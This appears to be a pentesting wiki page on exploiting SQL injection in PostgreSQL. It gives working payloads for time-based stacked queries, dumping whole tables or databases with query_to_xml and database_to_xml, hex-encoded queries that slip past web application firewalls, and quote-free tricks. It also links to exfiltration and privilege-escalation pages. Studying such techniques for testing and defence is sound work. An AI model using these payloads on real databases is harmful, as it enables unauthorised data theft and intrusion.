# PostgreSQL injection

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\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} *** **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration **`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ **These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) ### **Exfiltration example using dblink and large objects** You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`. ## PostgreSQL Attacks: Read/write, RCE, privesc Check how to compromise the host and escalate privileges from PostgreSQL in: {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) {% endcontent-ref %} ## WAF bypass ### PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** ### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` ### XML tricks **query\_to\_xml** This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row: ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client): ```sql SELECT database_to_xml(true,true,''); ``` ### Strings in Hex If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert\_from to pass the string as hex and bypass filters this way:** {% code overflow="wrap" %} ```sql select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); # Bypass via stacked queries + error based + query_to_xml with hex ;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h # Bypass via boolean + error based + query_to_xml with hex 1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- - ``` {% endcode %} ### Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` Or with `$`. This queries return the same results: ``` SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ```

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